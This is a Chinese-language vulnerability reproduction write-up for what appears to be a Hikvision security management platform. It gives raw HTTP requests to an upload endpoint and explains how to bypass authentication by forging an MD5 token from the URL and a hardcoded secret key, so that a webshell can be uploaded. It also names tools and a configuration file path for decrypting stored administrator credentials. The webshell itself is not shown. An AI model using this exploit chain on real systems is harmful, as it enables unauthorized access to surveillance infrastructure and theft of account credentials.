漏洞复现¶

一、upload.action接口¶

登录页面发送请求包上传

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0

二、/eps/api/resourceOperations/upload¶

bp抓取首页包，尝试访问接口（发现token需要进行鉴权）

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62

service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

通过构造token绕过认证（内部机制：如果token值与请求url+secretkey的md5值相同就可以绕过认证） secretkey是代码里写死的（默认值：secretKeyIbuilding） token值需要进行MD5加密（32位大写）组合：token=md5(http://url/eps/api/resourceOperations/uploadsecretKeyIbuilding) 利用在线网站构造：https://www.sojson.com/encrypt_md5.html

然后利用32位的md5解密的token，再次尝试

看到bp返回包，成功绕过。接下来，就可以构造webshell，进行上传。

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0

解密工具¶

一共有两种：

第一种¶

https://github.com/wafinfo/Hikvision

直接运行Hikvision.jar输出替换sysadmin用户password和salt。

第二种¶

https://github.com/baogod404/HikvisionDecode

数据库文件位置： Program Files (x86)/SurveillanceSystem/CMS/webserver/Tomcat/webapps/eps/WEB-INF/classes/constants.properties 然后java -jar HikvisionDecode-1.0-SNAPSHOT.jar xxxxx 输入加密的账号和密码，如图:
